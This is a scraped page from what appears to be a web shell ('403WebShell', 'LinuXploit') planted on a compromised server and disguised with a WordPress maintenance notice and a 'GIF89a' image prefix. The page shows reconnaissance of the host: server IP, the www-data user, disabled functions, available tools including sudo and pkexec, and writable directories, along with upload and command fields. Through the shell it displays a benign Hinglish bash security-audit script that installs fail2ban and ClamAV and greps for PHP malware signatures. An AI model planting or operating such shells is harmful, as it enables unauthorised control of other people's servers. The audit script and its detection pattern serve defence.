WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
GIF89a; 
Priv8 Uploader By InMyMine7
Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64




GIF89a; 
Priv8 Uploader By InMyMine7
Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64




GIF89a; 
Priv8 Uploader By InMyMine7
Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64




403WebShell
403Webshell




Server IP : 140.82.29.182  /  Your IP : 216.73.217.73
Web Server : nginx/1.18.0
System : Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/

Upload File : 

current_dir [ Writeable ]
document_root [ Writeable ]





 



Command : 



[ Back ]     

Current File : /home//full_security_audit.sh
#!/bin/bash
# =========================================================================
# FULL SECURITY AUDIT SCRIPT — Single Server
#
# Ye script server ke UPAR SSH karke, root/sudo se chalao. Ye:
#   - Har cheez check karta hai (OS, PHP, SSH, firewall, ports, SSL, disk)
#   - Fail2ban NAHI hai toh install + basic SSH jail configure karta hai
#   - ClamAV NAHI hai toh install + freshclam + weekly cron scan set karta hai
#   - Backup cron jobs dhoondta hai
#   - WordPress sites auto-detect karke unke core/plugin/malware checks karta hai
#   - Sab kuch ek REPORT FILE mein likh deta hai jise dekh ke Excel bhar sako
#
# USAGE:
#   chmod +x full_security_audit.sh
#   sudo ./full_security_audit.sh
#
# OPTIONAL (agar auto-detect na chale toh khud bata sakte ho):
#   sudo ./full_security_audit.sh /custom/web/root /custom/backup/path
# =========================================================================

WEB_ROOT_OVERRIDE="$1"
BACKUP_PATH_OVERRIDE="$2"

HOSTNAME_TAG=$(hostname)
DATE_TAG=$(date +%Y-%m-%d_%H-%M)
REPORT="security_report_${HOSTNAME_TAG}_${DATE_TAG}.txt"

if [ "$EUID" -ne 0 ]; then
    echo "Root/sudo se chalao: sudo ./full_security_audit.sh"
    exit 1
fi

# Detect package manager
if command -v apt >/dev/null 2>&1; then
    PKG_MGR="apt"
elif command -v dnf >/dev/null 2>&1; then
    PKG_MGR="dnf"
elif command -v yum >/dev/null 2>&1; then
    PKG_MGR="yum"
else
    PKG_MGR="unknown"
fi

{
echo "======================================================================="
echo " SECURITY AUDIT REPORT — $HOSTNAME_TAG"
echo " Generated: $(date)"
echo "======================================================================="
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 1: OS & SYSTEM"
echo "-----------------------------------------------------------------"
OS_NAME=$(grep "^NAME=" /etc/os-release 2>/dev/null | cut -d\" -f2)
OS_VER=$(grep "^VERSION_ID=" /etc/os-release 2>/dev/null | cut -d\" -f2)
echo "OS: $OS_NAME"
echo "OS Version: $OS_VER"
echo ""
echo "Disk Usage (/):"
df -h / | awk 'NR==2{print "  Used: "$3" / "$2" ("$5" used, "$4" free)"}'
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 2: PHP"
echo "-----------------------------------------------------------------"
if command -v php >/dev/null 2>&1; then
    php -v | head -n1
else
    echo "Default 'php' command not found — checking common alt paths (lsphp, panel-managed PHP)..."
    ls /usr/local/lsws/lsphp*/bin/php 2>/dev/null | while read -r p; do
        echo "  Found: $p -> $("$p" -v 2>/dev/null | head -n1)"
    done
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 3: SSH CONFIG"
echo "-----------------------------------------------------------------"
ROOT_LOGIN=$(grep -iE "^PermitRootLogin" /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}')
PASS_AUTH=$(grep -iE "^PasswordAuthentication" /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}')
SSH_PORT=$(grep -iE "^Port" /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}')
[ -z "$SSH_PORT" ] && SSH_PORT="22"
[ -z "$ROOT_LOGIN" ] && ROOT_LOGIN="default (not explicitly set — verify manually)"
[ -z "$PASS_AUTH" ] && PASS_AUTH="default (not explicitly set — verify manually)"
echo "SSH Port: $SSH_PORT"
echo "PermitRootLogin: $ROOT_LOGIN"
echo "PasswordAuthentication: $PASS_AUTH"
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 4: FIREWALL"
echo "-----------------------------------------------------------------"
if command -v ufw >/dev/null 2>&1; then
    ufw status verbose
elif command -v firewall-cmd >/dev/null 2>&1; then
    firewall-cmd --state
    firewall-cmd --list-all
else
    echo "No ufw/firewalld found — showing raw iptables rules:"
    iptables -L -n
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 5: FAIL2BAN"
echo "-----------------------------------------------------------------"
if systemctl status fail2ban >/dev/null 2>&1; then
    echo "Fail2ban: ALREADY INSTALLED"
    systemctl is-active fail2ban
    fail2ban-client status 2>/dev/null
else
    echo "Fail2ban: NOT FOUND — installing now..."
    if [ "$PKG_MGR" == "apt" ]; then
        apt update -qq && apt install -y fail2ban >/dev/null 2>&1
    elif [ "$PKG_MGR" == "dnf" ] || [ "$PKG_MGR" == "yum" ]; then
        $PKG_MGR install -y epel-release >/dev/null 2>&1
        $PKG_MGR install -y fail2ban >/dev/null 2>&1
    fi

    if command -v fail2ban-client >/dev/null 2>&1; then
        cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local 2>/dev/null
        cat >> /etc/fail2ban/jail.local <<EOF

[sshd]
enabled = true
port    = $SSH_PORT
maxretry = 5
bantime  = 3600
findtime = 600
EOF
        systemctl enable fail2ban >/dev/null 2>&1
        systemctl start fail2ban
        echo "Fail2ban INSTALLED and CONFIGURED (sshd jail, port $SSH_PORT, maxretry 5, bantime 1hr)"
    else
        echo "INSTALL FAILED — check manually ($PKG_MGR error above, if any)"
    fi
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 6: AUTO SECURITY UPDATES"
echo "-----------------------------------------------------------------"
if [ "$PKG_MGR" == "apt" ]; then
    cat /etc/apt/apt.conf.d/20auto-upgrades 2>/dev/null || echo "Not configured"
    systemctl is-enabled unattended-upgrades 2>/dev/null
elif [ "$PKG_MGR" == "dnf" ]; then
    systemctl is-enabled dnf-automatic-install.timer 2>/dev/null || echo "Not enabled"
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 7: OPEN PORTS"
echo "-----------------------------------------------------------------"
ss -tulnp 2>/dev/null | awk 'NR==1 || /LISTEN|UNCONN/'
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 8: CLAMAV / ANTIVIRUS"
echo "-----------------------------------------------------------------"
if command -v clamscan >/dev/null 2>&1 || command -v clamdscan >/dev/null 2>&1; then
    echo "ClamAV: ALREADY INSTALLED"
else
    echo "ClamAV: NOT FOUND — installing now..."
    if [ "$PKG_MGR" == "apt" ]; then
        apt install -y clamav clamav-daemon >/dev/null 2>&1
    elif [ "$PKG_MGR" == "dnf" ] || [ "$PKG_MGR" == "yum" ]; then
        $PKG_MGR install -y epel-release >/dev/null 2>&1
        $PKG_MGR install -y clamav clamav-update >/dev/null 2>&1
    fi
    echo "ClamAV INSTALLED"
fi

# Freshclam (definitions updater) status
if systemctl is-active clamav-freshclam >/dev/null 2>&1; then
    echo "Freshclam (definitions updater): active"
else
    echo "Freshclam: not active — attempting manual update..."
    freshclam >/dev/null 2>&1 && echo "  Definitions updated manually" || echo "  Manual update failed, check manually"
fi

# Scheduled scan check
CLAM_CRON=$(crontab -l 2>/dev/null | grep -iE "clamscan|clamdscan"; grep -riE "clamscan|clamdscan" /etc/cron.d /etc/cron.daily /etc/cron.weekly 2>/dev/null | head -n1)
if [ -n "$CLAM_CRON" ]; then
    echo "Scan schedule: ALREADY SCHEDULED"
    echo "  $CLAM_CRON"
else
    echo "Scan schedule: NOT SCHEDULED — adding weekly scan (Sunday 2 AM)..."
    SCAN_TARGET="${WEB_ROOT_OVERRIDE:-/var/www}"
    [ ! -d "$SCAN_TARGET" ] && SCAN_TARGET="/home"
    (crontab -l 2>/dev/null; echo "0 2 * * 0 clamscan -r --infected --log=/var/log/clamav-weekly-scan.log $SCAN_TARGET") | crontab -
    echo "  Weekly cron added: scans $SCAN_TARGET every Sunday 2 AM, logs to /var/log/clamav-weekly-scan.log"
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 9: SSL CERTIFICATES (auto-detected domains)"
echo "-----------------------------------------------------------------"
DOMAINS=$(grep -rhoE "server_name[[:space:]]+[^;]+;" /etc/nginx/sites-enabled/ 2>/dev/null | sed -E 's/server_name[[:space:]]+//;s/;//' | tr ' ' '\n' | grep -vE "^_$|^$|www\." | sort -u)
if [ -z "$DOMAINS" ]; then
    echo "No domains auto-detected from nginx configs. Pass domains manually if needed."
else
    for d in $DOMAINS; do
        EXPIRY=$(echo | timeout 5 openssl s_client -servername "$d" -connect "$d:443" 2>/dev/null | openssl x509 -noout -enddate 2>/dev/null | cut -d= -f2)
        if [ -n "$EXPIRY" ]; then
            echo "$d -> expires: $EXPIRY"
        else
            echo "$d -> could not retrieve cert (check manually)"
        fi
    done
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 10: BACKUP CHECK"
echo "-----------------------------------------------------------------"
if [ -n "$BACKUP_PATH_OVERRIDE" ] && [ -d "$BACKUP_PATH_OVERRIDE" ]; then
    echo "Backup path: $BACKUP_PATH_OVERRIDE"
    ls -la "$BACKUP_PATH_OVERRIDE" | tail -5
else
    echo "No backup path given — searching for common backup cron jobs / tools..."
    crontab -l 2>/dev/null | grep -iE "backup|rclone|rsync|mysqldump|tar" && echo "  ^ backup-related cron entries found above" || echo "  No backup cron entries found in root crontab — check other users' crontabs and panel-level backup settings manually"
    command -v rclone >/dev/null 2>&1 && echo "  rclone is installed (used for Google Drive backups)"
fi
echo ""

# ---------------------------------------------------------------------
echo "-----------------------------------------------------------------"
echo "SECTION 11: WORDPRESS SITES (auto-detected)"
echo "-----------------------------------------------------------------"
SEARCH_ROOT="${WEB_ROOT_OVERRIDE:-/var/www}"
[ ! -d "$SEARCH_ROOT" ] && SEARCH_ROOT="/home"

WP_SITES=$(find "$SEARCH_ROOT" -maxdepth 4 -iname "wp-config.php" 2>/dev/null)

if [ -z "$WP_SITES" ]; then
    echo "No WordPress sites detected under $SEARCH_ROOT — likely a non-WP app server."
else
    for cfg in $WP_SITES; do
        SITE_DIR=$(dirname "$cfg")
        echo ""
        echo "  >> WP site: $SITE_DIR"

        if [ -f "$SITE_DIR/wp-includes/version.php" ]; then
            WP_VER=$(grep -E "^\\\$wp_version[[:space:]]*=" "$SITE_DIR/wp-includes/version.php" | head -1 | sed -E "s/.*=[[:space:]]*'([^']+)'.*/\1/")
            LATEST_VER=$(curl -s https://api.wordpress.org/core/version-check/1.7/ | grep -o '"version":"[^"]*"' | head -1 | cut -d\" -f4)
            echo "     Core version: $WP_VER (latest: $LATEST_VER)"
            [ "$WP_VER" != "$LATEST_VER" ] && echo "     >>> CORE OUTDATED"
        fi

        if [ -d "$SITE_DIR/wp-content/plugins" ]; then
            OUTDATED_COUNT=0
            for pdir in "$SITE_DIR"/wp-content/plugins/*/; do
                pslug=$(basename "$pdir")
                pver=$(grep -riE "^[[:space:]]*\*?[[:space:]]*Version:" "$pdir"*.php 2>/dev/null | head -1 | sed -E 's/.*[Vv]ersion:[[:space:]]*//' | tr -d '\r' | xargs)
                [ -z "$pver" ] && continue
                platest=$(curl -s "https://api.wordpress.org/plugins/info/1.0/${pslug}.json" | grep -o '"version":"[^"]*"' | head -1 | cut -d\" -f4)
                if [ -n "$platest" ] && [ "$pver" != "$platest" ]; then
                    echo "     PLUGIN OUTDATED: $pslug ($pver -> $platest)"
                    OUTDATED_COUNT=$((OUTDATED_COUNT+1))
                fi
            done
            [ "$OUTDATED_COUNT" -eq 0 ] && echo "     Plugins: all wordpress.org-listed plugins up to date (premium plugins need manual check)"
        fi

        # .env exposure — only checks filesystem presence in web root here (network check needs domain)
        [ -f "$SITE_DIR/.env" ] && echo "     .env file present at $SITE_DIR/.env — CONFIRM it is NOT web-accessible (test via curl -I https://domain/.env)"

        # wp-config.php permissions
        PERMS=$(stat -c "%a" "$cfg" 2>/dev/null)
        echo "     wp-config.php permissions: $PERMS $( [ "$PERMS" -gt 640 ] 2>/dev/null && echo '>>> TOO OPEN, should be 640 or 600')"

        # Recently modified PHP files (possible malware indicator)
        RECENT=$(find "$SITE_DIR" -name "*.php" -mtime -7 -type f 2>/dev/null | wc -l)
        echo "     PHP files modified in last 7 days: $RECENT (review if unexpectedly high)"

        # Known malware signatures
        SIG_HITS=$(grep -rlE "eval\(base64_decode|gzinflate\(base64_decode|wp-link-helper" "$SITE_DIR/wp-content" "$SITE_DIR/wp-includes" "$SITE_DIR/wp-admin" 2>/dev/null)
        if [ -n "$SIG_HITS" ]; then
            echo "     !!! MALWARE SIGNATURE MATCHES FOUND:"
            echo "$SIG_HITS" | sed 's/^/         /'
        else
            echo "     No known malware signatures found in scanned files"
        fi
    done
fi
echo ""

echo "======================================================================="
echo " END OF REPORT"
echo "======================================================================="

} | tee "$REPORT"

echo ""
echo "Report saved: $(pwd)/$REPORT"
echo "Is file ko padh ke Excel sheet bhar lo."


Youez - 2016 - github.com/yon3zu
LinuXploit